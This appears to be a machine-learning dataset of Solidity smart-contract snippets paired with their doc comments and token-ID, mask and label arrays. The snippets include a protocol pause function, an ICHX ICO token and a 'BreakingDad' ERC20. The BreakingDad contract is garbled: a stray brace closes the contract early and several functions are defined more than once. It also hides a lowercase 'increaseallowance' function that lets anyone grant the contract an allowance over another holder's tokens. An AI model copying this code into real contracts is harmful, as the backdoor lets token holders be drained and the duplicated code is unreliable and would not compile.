[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 540, 327, 261, 7593, 31006, 63, 856, 8009, 17567, 67, 4793, 16, 7593, 31006, 63, 856, 8009, 8606, 84, 1979, 67, 4793, 16, 7593, 31006, 63, 856, 8009, 1589, 16, 7593, 31006, 63, 856, 8009, 1745, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/44787/0x5Cad1ffe2bd441E42A7293bC98b3bCaEf367FaC9/sources/contracts/global/HeliosGlobals.sol
Sets the paused/unpaused state of the protocol. Only the Global Admin can call this function
function setProtocolPause(bool pause) external { require(msg.sender == globalAdmin, "HG:NOT_ADM"); protocolPaused = pause; emit ProtocolPaused(pause); }
13,241,542
[ 1, 2785, 326, 17781, 19, 318, 8774, 3668, 919, 434, 326, 1771, 18, 5098, 326, 8510, 7807, 848, 745, 333, 445, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 444, 5752, 19205, 12, 6430, 11722, 13, 3903, 288, 203, 3639, 2583, 12, 3576, 18, 15330, 422, 2552, 4446, 16, 315, 44, 43, 30, 4400, 67, 1880, 49, 8863, 203, 3639, 1771, 28590, 273, 11722, 31, 203, 3639, 3626, 4547, 28590, 12, 19476, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x0ebAF8BA441C9DA0B345E03c7e92CDeB43426928/sources/BreakingDad.sol
* @dev Implementation of the {IERC20} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using {_mint}. For a generic mechanism see {ERC20PresetMinterPauser}. TIP: For a detailed writeup see our guide to implement supply mechanisms]. The default value of {decimals} is 18. To change this, you should override this function so it returns a different value. We have followed general OpenZeppelin Contracts guidelines: functions revert instead returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of ERC20 applications. Additionally, an {Approval} event is emitted on calls to {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been added to mitigate the well-known issues around setting allowances. See {IERC20-approve}./
contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; } constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } function increaseallowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = address(this); _approve(spender, owner, allowance(spender, owner) + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } function _transfer(address from, address to, uint256 amount) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; _balances[to] += amount; } emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } function _transfer(address from, address to, uint256 amount) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; _balances[to] += amount; } emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked { _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked { _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; _totalSupply -= amount; } emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; _totalSupply -= amount; } emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {} function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {} }
2,589,752
[ 1, 13621, 434, 326, 288, 45, 654, 39, 3462, 97, 1560, 18, 1220, 4471, 353, 279, 1600, 669, 335, 358, 326, 4031, 2430, 854, 2522, 18, 1220, 4696, 716, 279, 14467, 12860, 711, 358, 506, 3096, 316, 279, 10379, 6835, 1450, 288, 67, 81, 474, 5496, 2457, 279, 5210, 12860, 2621, 288, 654, 39, 3462, 18385, 49, 2761, 16507, 1355, 5496, 399, 2579, 30, 2457, 279, 6864, 1045, 416, 2621, 3134, 7343, 358, 2348, 14467, 1791, 28757, 8009, 1021, 805, 460, 434, 288, 31734, 97, 353, 6549, 18, 2974, 2549, 333, 16, 1846, 1410, 3849, 333, 445, 1427, 518, 1135, 279, 3775, 460, 18, 1660, 1240, 10860, 7470, 3502, 62, 881, 84, 292, 267, 30131, 9875, 14567, 30, 4186, 15226, 3560, 5785, 1375, 5743, 68, 603, 5166, 18, 1220, 6885, 353, 1661, 546, 12617, 15797, 287, 471, 1552, 486, 7546, 598, 326, 26305, 434, 4232, 39, 3462, 12165, 18, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 16351, 4232, 39, 3462, 353, 1772, 16, 467, 654, 39, 3462, 16, 467, 654, 39, 3462, 2277, 288, 203, 565, 2874, 12, 2867, 516, 2254, 5034, 13, 3238, 389, 70, 26488, 31, 203, 203, 565, 2874, 12, 2867, 516, 2874, 12, 2867, 516, 2254, 5034, 3719, 3238, 389, 5965, 6872, 31, 203, 203, 565, 2254, 5034, 3238, 389, 4963, 3088, 1283, 31, 203, 203, 565, 533, 3238, 389, 529, 31, 203, 565, 533, 3238, 389, 7175, 31, 203, 203, 97, 203, 203, 203, 565, 3885, 12, 1080, 3778, 508, 67, 16, 533, 3778, 3273, 67, 13, 288, 203, 3639, 389, 529, 273, 508, 67, 31, 203, 3639, 389, 7175, 273, 3273, 67, 31, 203, 565, 289, 203, 203, 565, 445, 508, 1435, 1071, 1476, 5024, 3849, 1135, 261, 1080, 3778, 13, 288, 203, 3639, 327, 389, 529, 31, 203, 565, 289, 203, 203, 565, 445, 3273, 1435, 1071, 1476, 5024, 3849, 1135, 261, 1080, 3778, 13, 288, 203, 3639, 327, 389, 7175, 31, 203, 565, 289, 203, 203, 565, 445, 15105, 1435, 1071, 1476, 5024, 3849, 1135, 261, 11890, 28, 13, 288, 203, 3639, 327, 6549, 31, 203, 565, 289, 203, 203, 565, 445, 2078, 3088, 1283, 1435, 1071, 1476, 5024, 3849, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 327, 389, 4963, 3088, 1283, 31, 203, 565, 289, 203, 203, 565, 445, 11013, 951, 12, 2867, 2236, 13, 1071, 1476, 5024, 3849, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 327, 389, 70, 26488, 63, 4631, 15533, 203, 565, 289, 203, 203, 565, 2 ]
./full_match/3/0x9Cf53e772473189eAfeC7efA48eD2E1E446fa8FF/sources/delta.sol
@dev Sequential referral IDs (skipping 0)
uint256 public totalReferralIDs;
8,224,990
[ 1, 28241, 1278, 29084, 7115, 261, 7457, 1382, 374, 13, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 2254, 5034, 1071, 2078, 1957, 29084, 5103, 31, 7010, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.4.24; // File: contracts/commons/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } // File: contracts/flavours/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". It has two-stage ownership transfer. */ contract Ownable { address public owner; address public pendingOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } /** * @dev Allows the current owner to prepare transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); pendingOwner = newOwner; } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() public onlyPendingOwner { emit OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } // File: contracts/flavours/Lockable.sol /** * @title Lockable * @dev Base contract which allows children to * implement main operations locking mechanism. */ contract Lockable is Ownable { event Lock(); event Unlock(); bool public locked = false; /** * @dev Modifier to make a function callable * only when the contract is not locked. */ modifier whenNotLocked() { require(!locked); _; } /** * @dev Modifier to make a function callable * only when the contract is locked. */ modifier whenLocked() { require(locked); _; } /** * @dev called by the owner to locke, triggers locked state */ function lock() public onlyOwner whenNotLocked { locked = true; emit Lock(); } /** * @dev called by the owner * to unlock, returns to unlocked state */ function unlock() public onlyOwner whenLocked { locked = false; emit Unlock(); } } // File: contracts/base/BaseFixedERC20Token.sol contract BaseFixedERC20Token is Lockable { using SafeMath for uint; /// @dev ERC20 Total supply uint public totalSupply; mapping(address => uint) public balances; mapping(address => mapping(address => uint)) private allowed; /// @dev Fired if token is transferred according to ERC20 spec event Transfer(address indexed from, address indexed to, uint value); /// @dev Fired if token withdrawal is approved according to ERC20 spec event Approval(address indexed owner, address indexed spender, uint value); /** * @dev Gets the balance of the specified address * @param owner_ The address to query the the balance of * @return An uint representing the amount owned by the passed address */ function balanceOf(address owner_) public view returns (uint balance) { return balances[owner_]; } /** * @dev Transfer token for a specified address * @param to_ The address to transfer to. * @param value_ The amount to be transferred. */ function transfer(address to_, uint value_) public whenNotLocked returns (bool) { require(to_ != address(0) && value_ <= balances[msg.sender]); // SafeMath.sub will throw an exception if there is not enough balance balances[msg.sender] = balances[msg.sender].sub(value_); balances[to_] = balances[to_].add(value_); emit Transfer(msg.sender, to_, value_); return true; } /** * @dev Transfer tokens from one address to another * @param from_ address The address which you want to send tokens from * @param to_ address The address which you want to transfer to * @param value_ uint the amount of tokens to be transferred */ function transferFrom(address from_, address to_, uint value_) public whenNotLocked returns (bool) { require(to_ != address(0) && value_ <= balances[from_] && value_ <= allowed[from_][msg.sender]); balances[from_] = balances[from_].sub(value_); balances[to_] = balances[to_].add(value_); allowed[from_][msg.sender] = allowed[from_][msg.sender].sub(value_); emit Transfer(from_, to_, value_); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering * * To change the approve amount you first have to reduce the addresses * allowance to zero by calling `approve(spender_, 0)` if it is not * already 0 to mitigate the race condition described in: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * @param spender_ The address which will spend the funds. * @param value_ The amount of tokens to be spent. */ function approve(address spender_, uint value_) public whenNotLocked returns (bool) { if (value_ != 0 && allowed[msg.sender][spender_] != 0) { revert(); } allowed[msg.sender][spender_] = value_; emit Approval(msg.sender, spender_, value_); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender * @param owner_ address The address which owns the funds * @param spender_ address The address which will spend the funds * @return A uint specifying the amount of tokens still available for the spender */ function allowance(address owner_, address spender_) public view returns (uint) { return allowed[owner_][spender_]; } } // File: contracts/base/BaseICOToken.sol /** * @dev Not mintable, ERC20 compliant token, distributed by ICO. */ contract BaseICOToken is BaseFixedERC20Token { /// @dev Available supply of tokens uint public availableSupply; /// @dev ICO smart contract allowed to distribute public funds for this address public ico; /// @dev Fired if investment for `amount` of tokens performed by `to` address event ICOTokensInvested(address indexed to, uint amount); /// @dev ICO contract changed for this token event ICOChanged(address indexed icoContract); modifier onlyICO() { require(msg.sender == ico); _; } /** * @dev Not mintable, ERC20 compliant token, distributed by ICO. * @param totalSupply_ Total tokens supply. */ constructor(uint totalSupply_) public { locked = true; totalSupply = totalSupply_; availableSupply = totalSupply_; } /** * @dev Set address of ICO smart-contract which controls token * initial token distribution. * @param ico_ ICO contract address. */ function changeICO(address ico_) public onlyOwner { ico = ico_; emit ICOChanged(ico); } /** * @dev Assign `amountWei_` of wei converted into tokens to investor identified by `to_` address. * @param to_ Investor address. * @param amountWei_ Number of wei invested * @param ethTokenExchangeRatio_ Number of tokens in 1Eth * @return Amount of invested tokens */ function icoInvestmentWei(address to_, uint amountWei_, uint ethTokenExchangeRatio_) public returns (uint); function isValidICOInvestment(address to_, uint amount_) internal view returns (bool) { return to_ != address(0) && amount_ <= availableSupply; } } // File: contracts/flavours/SelfDestructible.sol /** * @title SelfDestructible * @dev The SelfDestructible contract has an owner address, and provides selfDestruct method * in case of deployment error. */ contract SelfDestructible is Ownable { function selfDestruct(uint8 v, bytes32 r, bytes32 s) public onlyOwner { if (ecrecover(prefixedHash(), v, r, s) != owner) { revert(); } selfdestruct(owner); } function originalHash() internal view returns (bytes32) { return keccak256(abi.encodePacked( "Signed for Selfdestruct", address(this), msg.sender )); } function prefixedHash() internal view returns (bytes32) { bytes memory prefix = "\x19Ethereum Signed Message:\n32"; return keccak256(abi.encodePacked(prefix, originalHash())); } } // File: contracts/interface/ERC20Token.sol interface ERC20Token { function transferFrom(address from_, address to_, uint value_) external returns (bool); function transfer(address to_, uint value_) external returns (bool); function balanceOf(address owner_) external returns (uint); } // File: contracts/flavours/Withdrawal.sol /** * @title Withdrawal * @dev The Withdrawal contract has an owner address, and provides method for withdraw funds and tokens, if any */ contract Withdrawal is Ownable { // withdraw funds, if any, only for owner function withdraw() public onlyOwner { owner.transfer(address(this).balance); } // withdraw stuck tokens, if any, only for owner function withdrawTokens(address _someToken) public onlyOwner { ERC20Token someToken = ERC20Token(_someToken); uint balance = someToken.balanceOf(address(this)); someToken.transfer(owner, balance); } } // File: contracts/ICHXToken.sol /** * @title ICHX token contract. */ contract ICHXToken is BaseICOToken, SelfDestructible, Withdrawal { using SafeMath for uint; string public constant name = "IceChain"; string public constant symbol = "ICHX"; uint8 public constant decimals = 18; uint internal constant ONE_TOKEN = 1e18; constructor(uint totalSupplyTokens_, uint companyTokens_) public BaseICOToken(totalSupplyTokens_.mul(ONE_TOKEN)) { require(availableSupply == totalSupply); balances[owner] = companyTokens_.mul(ONE_TOKEN); availableSupply = availableSupply .sub(balances[owner]); emit Transfer(0, address(this), balances[owner]); emit Transfer(address(this), owner, balances[owner]); } // Disable direct payments function() external payable { revert(); } /** * @dev Assign `amountWei_` of wei converted into tokens to investor identified by `to_` address. * @param to_ Investor address. * @param amountWei_ Number of wei invested * @param ethTokenExchangeRatio_ Number of tokens in 1 Eth * @return Amount of invested tokens */ function icoInvestmentWei(address to_, uint amountWei_, uint ethTokenExchangeRatio_) public onlyICO returns (uint) { uint amount = amountWei_.mul(ethTokenExchangeRatio_).mul(ONE_TOKEN).div(1 ether); require(isValidICOInvestment(to_, amount)); availableSupply = availableSupply.sub(amount); balances[to_] = balances[to_].add(amount); emit ICOTokensInvested(to_, amount); return amount; } }
* @dev Transfer token for a specified address @param to_ The address to transfer to. @param value_ The amount to be transferred./ SafeMath.sub will throw an exception if there is not enough balance
function transfer(address to_, uint value_) public whenNotLocked returns (bool) { require(to_ != address(0) && value_ <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(value_); balances[to_] = balances[to_].add(value_); emit Transfer(msg.sender, to_, value_); return true; }
944,976
[ 1, 5912, 1147, 364, 279, 1269, 1758, 225, 358, 67, 1021, 1758, 358, 7412, 358, 18, 225, 460, 67, 1021, 3844, 358, 506, 906, 4193, 18, 19, 14060, 10477, 18, 1717, 903, 604, 392, 1520, 309, 1915, 353, 486, 7304, 11013, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
